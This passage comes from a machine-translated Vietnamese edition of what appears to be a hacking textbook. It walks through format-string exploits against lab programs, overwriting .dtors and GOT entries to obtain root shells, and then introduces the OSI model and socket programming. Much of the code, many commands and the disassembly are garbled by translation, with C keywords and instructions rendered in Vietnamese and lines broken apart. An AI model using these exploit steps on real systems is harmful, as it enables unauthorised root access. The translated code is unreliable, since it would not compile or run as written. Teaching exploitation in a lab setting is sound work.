hổng chuỗi định dạng. Lỗ hổng này được hiển thị bằng chữ in đậm trong danh
sách mã bên dưới.
int print_notes(int fd, int uid, char *chuỗi tìm kiếm) {
int note_length;
char byte=0, note_buffer[100];
note_length = tìm_ghi_nhớ_người_dùng(fd, uid);
if(note_length == -1) // Nếu đã đến cuối tệp,
trả về 0; // trả về 0.
read(fd, note_buffer, note_length); // Đọc dữ liệu ghi chú.
note_buffer[note_length] = 0; // Kết thúc chuỗi.
if(search_note(note_buffer, searchstring)) // Nếu tìm thấy chuỗi tìm kiếm,
printf(note_buffer);
// in ghi chú.
trả về 1;
}
Hàm này đọc note_buffer từ tệp và in nội dung của note mà không cung cấp
chuỗi định dạng riêng của nó. Mặc dù bộ đệm này không thể được điều khiển
trực tiếp từ dòng lệnh, nhưng lỗ hổng có thể bị khai thác bằng cách gửi chính
xác dữ liệu đúng đến tệp bằng chương trình notetaker rồi mở note đó bằng
chương trình notesearch. Trong đầu ra sau, chương trình notetaker được sử
dụng để tạo note để thăm dò bộ nhớ trong chương trình note-search. Điều này
cho chúng ta biết rằng tham số hàm thứ tám nằm ở đầu buffer.
người đọc@hacking:~/booksrc $ ./notetaker AAAA$(perl -e 'in "%x."x10')
[GỠ LỖI] bộ đệm @ 0x804a008: 'AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.'
[DEBUG] tệp dữ liệu @ 0x804a070: '/var/notes'
[DEBUG] mô tả tập tin là 3
Ghi chú đã được lưu.
người đọc@hacking:~/booksrc $ ./notesearch AAAA
[DEBUG] tìm thấy một ghi chú 34 byte cho ID người dùng 999
[DEBUG] tìm thấy ghi chú 41 byte cho ID người dùng 999
[DEBUG] tìm thấy một ghi chú 5 byte cho ID người dùng 999
[DEBUG] tìm thấy một ghi chú 35 byte cho ID người dùng 999
AAAAbffff750.23.20435455.37303032.0.0.1.41414141.252e7825.78252e78 .
-------[ kết thúc dữ liệu ghi chú ]----người đọc@hacking:~/booksrc $ ./notetaker BBBB%8\$x
[GỠ LỖI] bộ đệm @ 0x804a008: 'BBBB%8$x'
[DEBUG] tệp dữ liệu @ 0x804a070: '/var/notes'
[DEBUG] mô tả tập tin là 3
Ghi chú đã được lưu.
người đọc@hacking:~/booksrc $ ./notesearch BBBB
Khai thác 189
Machine Translated by Google
[DEBUG] tìm thấy một ghi chú 34 byte cho ID người dùng 999
[DEBUG] tìm thấy ghi chú 41 byte cho ID người dùng 999
[DEBUG] tìm thấy một ghi chú 5 byte cho ID người dùng 999
[DEBUG] tìm thấy một ghi chú 35 byte cho ID người dùng 999
[DEBUG] tìm thấy một ghi chú 9 byte cho ID người dùng 999
BBBB42424242
-------[ dữ liệu ghi chú kết thúc ]----reader@hacking:~/booksrc $
Bây giờ, khi đã biết cách bố trí bộ nhớ tương đối, cách khai thác chỉ là ghi đè
phần .dtors bằng địa chỉ của shellcode được đưa vào.
reader@hacking:~/booksrc $ export SHELLCODE=$(cat shellcode.bin) reader@hacking:~/booksrc
$ ./getenvaddr SHELLCODE ./notesearch SHELLCODE sẽ ở 0xbffff9e8 reader@hacking:~/booksrc
$ gdb -q (gdb) p 0xbfff - 8 $1 = 49143 (gdb)
p 0xf9e8 - 0xbfff $2 = 14825 (gdb) thoát
reader@hacking:~/booksrc
$ nm ./
notesearch | grep DTOR 08049c60
d __DTOR_END__
08049c5c d
__DTOR_LIST__ reader@hacking:~/booksrc $ ./notetaker $(printf
"\x62\x9c\x04\x08\x60\x9c\x04\
x08")%49143x%8\$hn%14825x%9\$hn [GỠ
LỖI] bộ đệm @ 0x804a008: 'b?`?%49143x%8$hn%14825x%9$hn'
[DEBUG] tệp dữ liệu @ 0x804a070: '/var/notes'
[DEBUG] mô tả tệp là 3 Lưu ý đã được
lưu.
reader@hacking:~/booksrc $ ./notesearch 49143x [DEBUG] tìm
thấy một ghi chú 34 byte cho id người dùng 999 [DEBUG]
tìm thấy một ghi chú 41 byte cho id người dùng 999 [DEBUG]
tìm thấy một ghi chú 5 byte cho id người dùng 999 [DEBUG]
tìm thấy một ghi chú 35 byte cho id người dùng 999 [DEBUG]
tìm thấy một ghi chú 9 byte cho id người dùng 999 [DEBUG]
tìm thấy một ghi chú 33 byte cho id người dùng 999
21
-------[ kết thúc dữ liệu ghi chú ]------- sh-3.2#
whoami root
sh-3.2#
0x359 Ghi đè Bảng bù trừ toàn cục
Vì một chương trình có thể sử dụng một hàm trong thư viện chia sẻ nhiều lần, nên việc
có một bảng để tham chiếu đến tất cả các hàm là rất hữu ích. Một phần đặc biệt khác
trong các chương trình biên dịch được sử dụng cho mục đích này— bảng liên kết thủ tục (PLT).
190 0x300
Machine Translated by Google
Phần này bao gồm nhiều lệnh nhảy, mỗi lệnh tương ứng với địa chỉ của một
hàm. Nó hoạt động như một bàn đạp—mỗi lần cần gọi một hàm chia sẻ, quyền
điều khiển sẽ đi qua PLT.
Bản dump đối tượng phân tách phần PLT trong chương trình chuỗi định dạng
dễ bị tấn công (fmt_vuln.c) hiển thị các hướng dẫn nhảy sau:
người đọc@hacking:~/booksrc $ objdump -d -j .plt ./fmt_vuln
./fmt_vuln:
định dạng tập tin elf32-i386
Tháo rời phần .plt:
080482b8 <__gmon_start__@plt-0x10>:
80482b8:
ff 35 6c 97 04 08
80482be:
80482c4:
đẩy 0x804976c
ff 25 70 97 04 08
gõ *0x8049770
00 00
thêm %al,(%eax)
...
080482c8 <__gmon_start__@plt>:
80482c8:
ff 25 74 97 04 08
80482ce: 68 00 00 00 00 80482d3:
e9 e0 ff ff ff
jmp
*0x8049774
đẩy $0x0
lệnh 80482b8 <_init+0x18>
080482d8 <__libc_start_main@plt>:
80482d8: ff 25 78 97 04 08 80482de:
jmp
68 08 00 00 00 80482e3: e9 d0 ff
đẩy $0x8
ff ff
lệnh 80482b8 <_init+0x18>
080482e8 <strcpy@plt>:
80482e8: ff 25 7c 97 04 08 80482ee:
*0x8049778
gõ lệnh *0x804977c
68 10 00 00 00 80482f3: e9 c0 ff
đẩy $0x10
ff ff
jmp
080482f8 <printf@plt>:
80482f8: ff 25 80 97 04 08 80482fe:
80482b8 <_init+0x18>
gõ *0x8049780
68 18 00 00 00 8048303: e9 b0 ff
đẩy $0x18
ff ff
lệnh 80482b8 <_init+0x18>
08048308 <exit@plt>:
8048308:
ff 25 84 97 04 08
jmp
*0x8049784
804830e: 68 20 00 00 00 8048313:
đẩy $0x20
e9 a0 ff ff ff reader@hacking:~/
lệnh 80482b8 <_init+0x18>
booksrc $
Một trong những lệnh nhảy này được liên kết với hàm exit() , được gọi
ở cuối chương trình. Nếu lệnh nhảy được sử dụng cho hàm exit() có thể được
thao tác để hướng luồng thực thi vào shellcode thay vì hàm exit() , một
shell gốc sẽ được tạo ra. Dưới đây, bảng liên kết thủ tục được hiển thị là
chỉ đọc.
Khai thác
191
Machine Translated by Google
người đọc@hacking:~/booksrc $ objdump -h ./fmt_vuln | grep -A1 "\ .plt\
"
10 .plt 00000060 080482b8 080482b8 000002b8 2**2
NỘI DUNG, PHÂN BỔ, TẢI, CHỈ ĐỌC, MÃ
Nhưng khi xem xét kỹ hơn các lệnh nhảy (được in đậm bên dưới) cho thấy chúng không nhảy đến các
địa chỉ mà đến các con trỏ đến các địa chỉ. Ví dụ, địa chỉ thực của hàm printf() được lưu trữ dưới dạng
con trỏ tại địa chỉ bộ nhớ 0x08049780 và địa chỉ của hàm exit() được lưu trữ tại 0x08049784.
080482f8 <printf@plt>:
80482f8: ff 25 80 97 04 08 80482fe:
gõ *0x8049780
68 18 00 00 00 8048303: e9 b0 ff
đẩy $0x18
ff ff
lệnh 80482b8 <_init+0x18>
08048308 <exit@plt>:
8048308:
ff 25 84 97 04 08
804830e: 68 20 00 00 00 e9 a0 ff
ff ff 8048313:
gõ *0x8049784
đẩy $0x20
lệnh 80482b8 <_init+0x18>
Các địa chỉ này tồn tại trong một phần khác, được gọi là bảng bù trừ toàn cục (GOT),
có thể ghi được. Các địa chỉ này có thể được lấy trực tiếp bằng cách hiển thị các mục nhập
di dời động cho tệp nhị phân bằng cách sử dụng objdump.
người đọc@hacking:~/booksrc $ objdump -R ./fmt_vuln
./fmt_vuln:
định dạng tập tin elf32-i386
Hồ sơ di dời động
LOẠI BÙ TRỪ
GIÁ TRỊ
08049764 R_386_GLOB_DAT __gmon_start__
08049774 R_386_JUMP_SLOT __gmon_start__
08049778 R_386_JUMP_SLOT __libc_start_main
0804977c R_386_JUMP_SLOT strcpy
08049780 R_386_JUMP_SLOT in
08049784 R_386_JUMP_SLOT thoát
người đọc@hacking:~/booksrc $
Điều này cho thấy địa chỉ của hàm exit() (được in đậm ở trên) nằm trong GOT tại
0x08049784. Nếu địa chỉ của shellcode bị ghi đè tại vị trí này, chương trình sẽ gọi
shellcode khi nó cho rằng đang gọi hàm exit () .
Như thường lệ, shellcode được đặt trong một biến môi trường, vị trí thực tế của nó
được dự đoán và lỗ hổng chuỗi định dạng được sử dụng để ghi giá trị. Trên thực tế, shellcode
vẫn phải nằm trong môi trường từ trước, nghĩa là những thứ duy nhất cần điều chỉnh là 16
byte đầu tiên của chuỗi định dạng. Các tính toán cho các tham số định dạng %x sẽ được thực
hiện
192 0x300
Machine Translated by Google
một lần nữa để rõ ràng hơn. Trong kết quả đầu ra bên dưới, địa chỉ của shellcode()
được ghi vào địa chỉ của hàm exit() ().
reader@hacking:~/booksrc $ export SHELLCODE=$(cat shellcode.bin)
reader@hacking:~/booksrc $ ./getenvaddr MÃ SHELL ./fmt_vuln
SHELLCODE sẽ ở 0xbffff9ec
người đọc@hacking:~/booksrc $ gdb -q
(gdb) p 0xbfff - 8
1 = 49143
(gdb) p 0xf9ec - 0xbfff
2 = 14829
(gdb) thoát
người đọc@hacking:~/booksrc $ objdump -R ./fmt_vuln
./fmt_vuln:
định dạng tập tin elf32-i386
Hồ sơ di dời động
LOẠI BÙ TRỪ
GIÁ TRỊ
08049764 R_386_GLOB_DAT __gmon_start__
08049774 R_386_JUMP_SLOT __gmon_start__
08049778 R_386_JUMP_SLOT __libc_start_main
0804977c R_386_JUMP_SLOT strcpy
08049780 R_386_JUMP_SLOT in
08049784 R_386_JUMP_SLOT thoát
người đọc@hacking:~/booksrc $ ./fmt_vuln $(printf "\x86\x97\x04\x08\x84\x97\x04\
x08")%49143x%4\$hn%14829x%5\$hn
Cách in đúng nội dung do người dùng kiểm soát:
????%49143x%4$hn%14829x%5$hn
Cách in dữ liệu do người dùng kiểm soát sai:
????
b7fe75fc
[*] giá trị kiểm tra @ 0x08049794 = -72 0xffffffb8
sh-3.2# ai đó
gốc rễ
sh-3.2#
Khi fmt_vuln.c cố gắng gọi hàm exit() , địa chỉ của hàm exit() được tra cứu trong GOT và được
nhảy đến qua PLT. Vì địa chỉ thực tế đã được chuyển đổi với địa chỉ cho shellcode trong môi trường, một
root shell được tạo ra.
Một lợi thế khác của việc ghi đè GOT là các mục GOT được cố định trên mỗi tệp
nhị phân, do đó, một hệ thống khác có cùng tệp nhị phân sẽ có cùng mục GOT ở cùng
một địa chỉ.
Khả năng ghi đè bất kỳ địa chỉ tùy ý nào mở ra nhiều khả năng khai thác. Về cơ
bản, bất kỳ phần bộ nhớ nào có thể ghi và chứa địa chỉ chỉ đạo luồng thực thi chương
trình đều có thể bị nhắm mục tiêu.
Khai thác 193
Machine Translated by Google
Machine Translated by Google
0x400
MẠNG LƯỚI
Giao tiếp và ngôn ngữ đã nâng cao đáng kể khả năng
của loài người. Bằng cách sử dụng một ngôn ngữ
chung, con người có thể truyền đạt kiến thức, phối
hợp hành động và chia sẻ kinh nghiệm. Tương tự như vậy,
chương trình có thể trở nên mạnh mẽ hơn nhiều khi chúng có khả năng giao tiếp với các chương trình
khác qua mạng. Tiện ích thực sự của trình duyệt web không nằm ở bản thân chương trình mà nằm ở khả
năng giao tiếp với máy chủ web.
Mạng lưới rất phổ biến đến mức đôi khi bị coi là điều hiển nhiên. Nhiều ứng dụng như email, Web
và tin nhắn tức thời dựa vào mạng lưới. Mỗi ứng dụng này dựa vào một giao thức mạng cụ thể, nhưng mỗi
giao thức đều sử dụng cùng một phương pháp truyền tải mạng chung.
Nhiều người không nhận ra rằng có những lỗ hổng trong chính các giao thức mạng. Trong chương này,
bạn sẽ học cách kết nối mạng các ứng dụng của mình bằng socket và cách xử lý các lỗ hổng mạng phổ biến.
Machine Translated by Google
0x410 Mô hình OSI
Khi hai máy tính nói chuyện với nhau, chúng cần nói cùng một ngôn ngữ. Cấu
trúc của ngôn ngữ này được mô tả theo từng lớp theo mô hình OSI.
Mô hình OSI cung cấp các tiêu chuẩn cho phép phần cứng, chẳng hạn như bộ
định tuyến và tường lửa, tập trung vào một khía cạnh cụ thể của giao tiếp áp
dụng cho chúng và bỏ qua các khía cạnh khác. Mô hình OSI được chia thành các
lớp giao tiếp khái niệm. Theo cách này, phần cứng định tuyến và tường lửa có
thể tập trung vào việc truyền dữ liệu ở các lớp thấp hơn, bỏ qua các lớp đóng
gói dữ liệu cao hơn được sử dụng bởi các ứng dụng đang chạy. Bảy lớp OSI như sau:
Lớp vật lý Lớp này xử lý kết nối vật lý giữa hai điểm. Đây là lớp thấp
nhất, có vai trò chính là truyền các luồng bit thô. Lớp này cũng chịu
trách nhiệm kích hoạt, duy trì và hủy kích hoạt các giao tiếp luồng bit
này.
Lớp liên kết dữ liệu Lớp này thực sự xử lý việc truyền dữ liệu giữa hai
điểm. Ngược lại với lớp vật lý, lớp này xử lý việc gửi các bit thô, lớp
này cung cấp các chức năng cấp cao, chẳng hạn như sửa lỗi và kiểm soát
luồng. Lớp này cũng cung cấp các thủ tục để kích hoạt, duy trì và hủy
kích hoạt các kết nối liên kết dữ liệu.
Lớp mạng Lớp này hoạt động như một lớp trung gian; vai trò chính của nó
là truyền thông tin giữa các lớp thấp hơn và cao hơn. Nó cung cấp địa chỉ
và định tuyến.
Lớp vận chuyển Lớp này cung cấp khả năng truyền dữ liệu minh bạch giữa các hệ thống. Bằng cách cung
cấp khả năng truyền dữ liệu đáng tin cậy, lớp này cho phép các lớp cao hơn không bao giờ phải lo
lắng về độ tin cậy hoặc hiệu quả về chi phí của việc truyền dữ liệu.
Lớp phiên Lớp này chịu trách nhiệm thiết lập và duy trì kết nối giữa các
ứng dụng mạng.
Lớp trình bày Lớp này chịu trách nhiệm trình bày dữ liệu cho các ứng
dụng theo cú pháp hoặc ngôn ngữ mà chúng hiểu. Điều này cho phép thực
hiện các thao tác như mã hóa và nén dữ liệu.
Lớp ứng dụng Lớp này có nhiệm vụ theo dõi các yêu cầu của ứng dụng.
Khi dữ liệu được truyền qua các lớp giao thức này, nó được gửi thành các
phần nhỏ gọi là gói. Mỗi gói chứa các triển khai của các lớp giao thức này.
Bắt đầu từ lớp ứng dụng, gói sẽ gói lớp trình bày xung quanh dữ liệu đó, lớp
này gói lớp phiên, lớp này gói lớp vận chuyển, v.v. Quá trình này được gọi là
đóng gói. Mỗi lớp được gói chứa một tiêu đề và một phần thân. Tiêu đề chứa
thông tin giao thức cần thiết cho lớp đó, trong khi phần thân chứa dữ liệu
cho lớp đó. Phần thân của một lớp chứa toàn bộ gói các lớp đã được đóng gói
trước đó, giống như lớp vỏ của một củ hành tây hoặc các ngữ cảnh chức năng
được tìm thấy trên ngăn xếp của chương trình.
196 0x400
Machine Translated by Google
Ví dụ, bất cứ khi nào bạn duyệt Web, cáp Ethernet và thẻ tạo nên lớp
vật lý, đảm nhiệm việc truyền các bit thô từ đầu này sang đầu kia của cáp.
Lớp tiếp theo là lớp liên kết dữ liệu.
Trong ví dụ về trình duyệt web, Ethernet tạo nên lớp này, cung cấp giao tiếp
cấp thấp giữa các cổng Ethernet trên mạng LAN. Giao thức này cho phép giao
tiếp giữa các cổng Ethernet, nhưng các cổng này vẫn chưa có địa chỉ IP. Khái
niệm về địa chỉ IP không tồn tại cho đến lớp tiếp theo, lớp mạng. Ngoài việc
định địa chỉ, lớp này còn chịu trách nhiệm di chuyển dữ liệu từ địa chỉ
này sang địa chỉ khác. Ba lớp thấp hơn này cùng nhau có thể gửi các gói dữ
liệu từ địa chỉ IP này sang địa chỉ IP khác. Lớp tiếp theo là lớp vận chuyển,
đối với lưu lượng truy cập web là TCP; lớp này cung cấp kết nối socket hai
chiều liền mạch. Thuật ngữ TCP/IP
mô tả việc sử dụng TCP ở lớp vận chuyển và IP ở lớp mạng.
Có những lược đồ địa chỉ khác tồn tại ở lớp này; tuy nhiên, lưu lượng truy cập web của bạn có thể
sử dụng IP phiên bản 4 (IPv4). Địa chỉ IPv4 tuân theo dạng quen thuộc XX.XX.XX.XX.IP phiên bản 6
(IPv6) cũng tồn tại ở lớp này, với lược đồ địa chỉ hoàn toàn khác. Vì IPv4 phổ biến nhất, IP sẽ luôn
tham chiếu đến IPv4 trong sách này.
Bản thân lưu lượng truy cập web sử dụng HTTP (Giao thức truyền siêu văn
bản) để giao tiếp, nằm ở lớp trên cùng của mô hình OSI. Khi bạn duyệt Web,
trình duyệt web trên mạng của bạn đang giao tiếp qua Internet với máy chủ web
nằm trên một mạng riêng khác. Khi điều này xảy ra, các gói dữ liệu được đóng
gói xuống lớp vật lý, nơi chúng được chuyển đến bộ định tuyến. Vì bộ định
tuyến không quan tâm đến những gì thực sự có trong các gói, nên nó chỉ cần
triển khai các giao thức lên đến lớp mạng.
Bộ định tuyến gửi các gói tin ra Internet, nơi chúng đến bộ định tuyến của mạng
khác. Sau đó, bộ định tuyến này đóng gói gói tin này với các tiêu đề giao
thức lớp thấp hơn cần thiết để gói tin đến đích cuối cùng.
Quá trình này được thể hiện trong hình minh họa sau.
Mạng 1
ứng dụng
internet
Mạng 2
ứng dụng
(7) Lớp ứng dụng
(6) Lớp trình bày
(5) Lớp phiên
(4) Lớp vận chuyển
(3) Lớp mạng
(2) Lớp liên kết dữ liệu
(1) Lớp vật lý
Mạng lưới 197
Machine Translated by Google
Tất cả các gói đóng gói này tạo nên một ngôn ngữ phức tạp mà các máy chủ trên
Internet (và các loại mạng khác) sử dụng để giao tiếp với nhau. Các giao thức này được
lập trình vào bộ định tuyến, tường lửa và hệ điều hành máy tính của bạn để chúng có
thể giao tiếp. Các chương trình sử dụng mạng, chẳng hạn như trình duyệt web và máy
khách email, cần giao tiếp với hệ điều hành xử lý giao tiếp mạng. Vì hệ điều hành xử
lý các chi tiết của việc đóng gói mạng, nên việc viết các chương trình mạng chỉ là vấn
đề sử dụng giao diện mạng của hệ điều hành.
Ổ cắm 0x420
Socket là một cách chuẩn để thực hiện giao tiếp mạng thông qua hệ điều hành. Socket có
thể được coi là điểm cuối của một kết nối, giống như socket trên tổng đài của một nhà
điều hành. Nhưng các socket này chỉ là sự trừu tượng của một lập trình viên xử lý
tất cả các chi tiết nhỏ nhặt của mô hình OSI được mô tả ở trên. Đối với lập trình
viên, socket có thể được sử dụng để gửi hoặc nhận dữ liệu qua mạng. Dữ liệu này được
truyền ở lớp phiên (5), phía trên các lớp thấp hơn (do hệ điều hành xử lý), đảm nhiệm
việc định tuyến. Có một số loại socket khác nhau xác định cấu trúc của lớp vận
chuyển (4). Các loại phổ biến nhất là socket luồng và socket datagram.
Các ổ cắm luồng cung cấp khả năng giao tiếp hai chiều đáng tin cậy tương tự như khi
bạn gọi điện cho ai đó. Một bên khởi tạo kết nối với bên kia và sau khi kết nối
được thiết lập, cả hai bên đều có thể giao tiếp với bên kia. Ngoài ra, có xác nhận ngay
lập tức rằng những gì bạn nói thực sự đã đến đích. Socket luồng sử dụng giao thức giao
tiếp chuẩn gọi là Giao thức điều khiển truyền (TCP), tồn tại trên lớp vận chuyển (4)
của mô hình OSI. Trên mạng máy tính, dữ liệu thường được truyền theo từng phần gọi là
gói. TCP được thiết kế sao cho các gói dữ liệu sẽ đến nơi mà không có lỗi và theo
trình tự, giống như các từ đến đầu bên kia theo thứ tự chúng được nói khi bạn nói
chuyện qua điện thoại. Máy chủ web, máy chủ thư và các ứng dụng máy khách tương
ứng của chúng đều sử dụng TCP và socket luồng để giao tiếp.
Một loại socket phổ biến khác là socket datagram. Giao tiếp với socket datagram
giống như gửi thư hơn là gọi điện thoại.
Kết nối chỉ có một chiều và không đáng tin cậy. Nếu bạn gửi nhiều lá thư, bạn không thể
chắc chắn rằng chúng đến cùng một thứ tự, hoặc thậm chí là chúng có đến đích hay không.
Dịch vụ bưu chính khá đáng tin cậy; tuy nhiên, Internet thì không. Các socket Datagram
sử dụng một giao thức chuẩn khác gọi là UDP thay vì TCP trên lớp vận chuyển (4).
UDP là viết tắt của Giao thức Datagram của Người dùng, ngụ ý rằng nó có thể được sử
dụng để tạo các giao thức tùy chỉnh. Giao thức này rất cơ bản và nhẹ, với một
vài biện pháp bảo vệ được tích hợp sẵn. Nó không phải là một kết nối thực sự, chỉ là
một phương pháp cơ bản để gửi dữ liệu từ điểm này đến điểm khác. Với các socket datagram,
có rất ít chi phí phát sinh trong giao thức, nhưng giao thức không làm được nhiều. Nếu
chương trình của bạn cần xác nhận rằng một gói đã được phía bên kia nhận được, phía
bên kia phải được mã hóa để gửi lại một gói xác nhận. Trong một số trường hợp, việc
mất gói là chấp nhận được.
198 0x400
Machine Translated by Google
Socket Datagram và UDP thường được sử dụng trong các trò chơi mạng và phương tiện truyền phát trực
tuyến, vì các nhà phát triển có thể tùy chỉnh thông tin liên lạc của họ chính xác theo nhu cầu mà không
cần đến chi phí tích hợp của TCP.
0x421 Chức năng ổ cắm
Trong C, socket hoạt động rất giống với các tệp vì chúng sử dụng các mô tả tệp để xác định chính chúng.
Socket hoạt động rất giống với các tệp đến mức bạn thực sự có thể sử dụng các hàm read() và write() để
nhận và gửi dữ liệu bằng cách sử dụng các mô tả tệp socket. Tuy nhiên, có một số hàm được thiết kế riêng
để xử lý socket. Các hàm này có các nguyên mẫu được định nghĩa trong /usr/include/
sys/sockets.h.
socket(int miền, int kiểu, int giao thức)
Được sử dụng để tạo một ổ cắm mới, trả về một mô tả tệp cho ổ cắm hoặc
-1 do lỗi.
kết nối(int fd, struct sockaddr *remote_host, socklen_t addr_length)
Kết nối một socket (được mô tả bằng mô tả tệp fd) với máy chủ từ xa.
Trả về 0 nếu thành công và -1 nếu có lỗi.
liên kết(int fd, struct sockaddr *local_addr, socklen_t addr_length)
Liên kết socket với một địa chỉ cục bộ để nó có thể lắng nghe các kết nối đến.
Trả về 0 nếu thành công và -1 nếu có lỗi.
lắng nghe(int fd, int backlog_queue_size)
Lắng nghe các kết nối đến và xếp hàng các yêu cầu kết nối lên đến backlog_queue_size. Trả về 0 nếu
thành công và -1 nếu có lỗi.
chấp nhận(int fd, sockaddr *remote_host, socklen_t *addr_length)
Chấp nhận kết nối đến trên socket bị ràng buộc. Thông tin địa chỉ từ máy chủ từ xa được ghi vào
cấu trúc remote_host và kích thước thực tế của cấu trúc địa chỉ được ghi vào *addr_length. Hàm này
trả về một mô tả tệp socket mới để xác định socket được kết nối hoặc -1 nếu có lỗi.
gửi(int fd, void *buffer, size_t N , int cờ)
Gửi n byte từ *buffer đến socket fd; trả về số byte đã gửi
hoặc -1 nếu có lỗi.
recv(int fd, void *buffer, size_t N , int cờ)
Nhận n byte từ socket fd vào *buffer; trả về số byte đã nhận hoặc -1 nếu có lỗi.
Khi một socket được tạo bằng hàm socket() , miền, loại và giao thức của socket phải được chỉ
định. Miền tham chiếu đến họ giao thức của socket. Một socket có thể được sử dụng để giao tiếp bằng
nhiều giao thức khác nhau, từ giao thức Internet chuẩn được sử dụng khi bạn duyệt Web đến các giao
thức vô tuyến nghiệp dư như AX.25 (khi bạn là một nerd khổng lồ). Các họ giao thức này được định nghĩa
trong bits/socket.h, được tự động bao gồm từ sys/socket.h.
Mạng lưới 199
Machine Translated by Google
Từ /usr/include/bits/socket.h
/* Các họ giao thức. */
#define PF_UNSPEC 0 /* Không xác định. */
#define PF_LOCAL 1 /* Cục bộ với máy chủ (đường ống và miền tệp). */
#define PF_UNIX PF_LOCAL /* Tên BSD cũ cho PF_LOCAL. */
#define PF_FILE PF_LOCAL /* Một tên không chuẩn khác cho PF_LOCAL. */
#define PF_INET 2 /* Họ giao thức IP. */
#define PF_AX25 3 /* Đài phát thanh nghiệp dư AX.25. */
#define PF_IPX 4 /* Giao thức Internet Novell. */
#define PF_APPLETALK 5 /* Giao thức Appletalk. */
#define PF_NETROM 6 /* NetROM vô tuyến nghiệp dư. */
#define PF_BRIDGE 7 /* Cầu nối đa giao thức. */
#define PF_ATMPVC 8 /* PVC ATM. */
#define PF_X25 9 /* Dành riêng cho dự án X.25. */
#define PF_INET6 10 /* Phiên bản IP 6. */
...
Như đã đề cập trước đó, có một số loại socket, mặc dù socket luồng và socket
datagram là những loại được sử dụng phổ biến nhất. Các loại socket cũng được định nghĩa
trong bits/socket.h. (Các chú thích /* */ trong mã trên chỉ là một kiểu khác chú thích
mọi thứ giữa các dấu sao.)
Từ /usr/include/bits/socket.h
/* Các loại socket. */
Kiểu_ổ_đĩa_đĩa
{
SOCK_DÒNG = 1,
/* Luồng byte được sắp xếp theo trình tự, đáng tin cậy và dựa trên kết nối. */
#define SOCK_STREAM SOCK_STREAM
SOCK_DGRAM = 2, /* Các gói dữ liệu không có kết nối, không đáng tin cậy có độ dài tối đa cố định. */
#define SOCK_DGRAM SOCK_DGRAM
...
Đối số cuối cùng cho hàm socket() là giao thức, nên
hầu như luôn là 0. Đặc tả cho phép nhiều giao thức trong một họ giao thức, vì vậy đối
số này được sử dụng để chọn một trong các giao thức từ họ. Tuy nhiên, trên thực tế, hầu
hết các họ giao thức chỉ có một giao thức, điều này có nghĩa là giao thức này thường
được đặt thành 0; giao thức đầu tiên và duy nhất trong phép liệt kê của họ. Đây là
trường hợp đối với mọi thứ chúng ta sẽ làm với socket trong cuốn sách này, vì vậy đối
số này sẽ luôn là 0 trong các ví dụ của chúng ta.
Địa chỉ ổ cắm 0x422
Nhiều hàm socket tham chiếu đến cấu trúc sockaddr để truyền thông tin địa chỉ xác
định máy chủ. Cấu trúc này cũng được xác định trong bits/socket.h, như được hiển thị ở
trang sau.
200 0x400
Machine Translated by Google
Từ /usr/include/bits/socket.h
/* Lấy định nghĩa của macro để xác định các thành viên sockaddr chung. */
#include <bits/sockaddr.h>
/* Cấu trúc mô tả địa chỉ socket chung. */
cấu trúc sockaddr
{
__SOCKADDR_COMMON (sa_); /* Dữ liệu chung: họ địa chỉ và độ dài. */
char sa_data[14]; /* Dữ liệu địa chỉ. */
};
Macro cho SOCKADDR_COMMON được định nghĩa trong tệp bits/sockaddr.h đi kèm, về cơ
bản được dịch thành unsigned short int. Giá trị này định nghĩa họ địa chỉ của địa chỉ
và phần còn lại của cấu trúc được lưu cho dữ liệu địa chỉ. Vì socket có thể giao
tiếp bằng nhiều họ giao thức khác nhau, mỗi họ có cách riêng để định nghĩa địa chỉ
điểm cuối, nên định nghĩa của một địa chỉ cũng phải thay đổi, tùy thuộc vào họ địa chỉ.
Các họ địa chỉ có thể có cũng được định nghĩa trong bits/socket.h; chúng thường được
dịch trực tiếp sang các họ giao thức tương ứng.
Từ /usr/include/bits/socket.h
/* Địa chỉ gia đình. */
#xác định AF_UNSPEC PF_UNSPEC
#xác định AF_LOCAL PF_LOCAL
#xác định AF_UNIX PF_UNIX
#xác định AF_FILE PF_FILE
#xác định AF_INET PF_INET
#xác định AF_AX25 PF_AX25
#xác định AF_IPX PF_IPX
#define AF_APPLETALK PF_APPLETALK
#xác định AF_NETROM PF_NETROM
#define AF_BRIDGE PF_BRIDGE
#xác định AF_ATMPVC PF_ATMPVC
#xác định AF_X25 PF_X25
#xác định AF_INET6 PF_INET6
...
Vì một địa chỉ có thể chứa các loại thông tin khác nhau, tùy thuộc vào họ địa chỉ,
nên có một số cấu trúc địa chỉ khác chứa, trong phần dữ liệu địa chỉ, các thành phần
chung từ cấu trúc sockaddr cũng như thông tin cụ thể cho họ địa chỉ. Các cấu trúc này
cũng có cùng kích thước, vì vậy chúng có thể được ép kiểu từ nhau. Điều này có nghĩa
là một hàm socket() sẽ chỉ chấp nhận một con trỏ đến một cấu trúc sockaddr , trên thực
tế có thể trỏ đến một cấu trúc địa chỉ cho IPv4, IPv6 hoặc X.25. Điều này cho phép
các hàm socket hoạt động trên nhiều giao thức khác nhau.
Trong cuốn sách này, chúng ta sẽ giải quyết Giao thức Internet phiên bản 4, là họ
giao thức PF_INET, sử dụng họ địa chỉ AF_INET. Cấu trúc địa chỉ ổ cắm song song cho
AF_INET được định nghĩa trong tệp netinet/in.h.
Mạng lưới 201
Machine Translated by Google
Từ /usr/include/netinet/in.h
/* Cấu trúc mô tả địa chỉ ổ cắm Internet. */
cấu trúc sockaddr_in
{
__SOCKADDR_COMMON (không có lỗi);
in_port_t sin_port; /* Số cổng. */
struct in_addr sin_addr; /* Địa chỉ Internet. */
/* Thêm kích thước của 'struct sockaddr'. */
unsigned char sin_zero[sizeof (struct sockaddr) __SOCKADDR_KÍCH THƯỚC_CHUNG kích thước của (in_port_t) -
sizeof(cấu trúc in_addr)];
};
Phần SOCKADDR_COMMON ở đầu cấu trúc chỉ đơn giản là unsigned short int được đề
cập ở trên, được sử dụng để xác định họ địa chỉ. Vì địa chỉ điểm cuối socket bao gồm
một địa chỉ Internet và một số cổng, nên đây là hai giá trị tiếp theo trong cấu
trúc. Số cổng là short 16 bit, trong khi cấu trúc in_addr được sử dụng cho địa chỉ
Internet chứa một số 32 bit. Phần còn lại của cấu trúc chỉ là 8 byte đệm để điền
vào phần còn lại của cấu trúc sockaddr . Không gian này không được sử dụng cho bất
cứ điều gì, nhưng phải được lưu lại để các cấu trúc có thể được chuyển đổi kiểu thay
thế cho nhau. Cuối cùng, các cấu trúc địa chỉ socket trông như thế này:
cấu trúc sockaddr (Cấu trúc chung)
Gia đình
sa_data (14 byte)
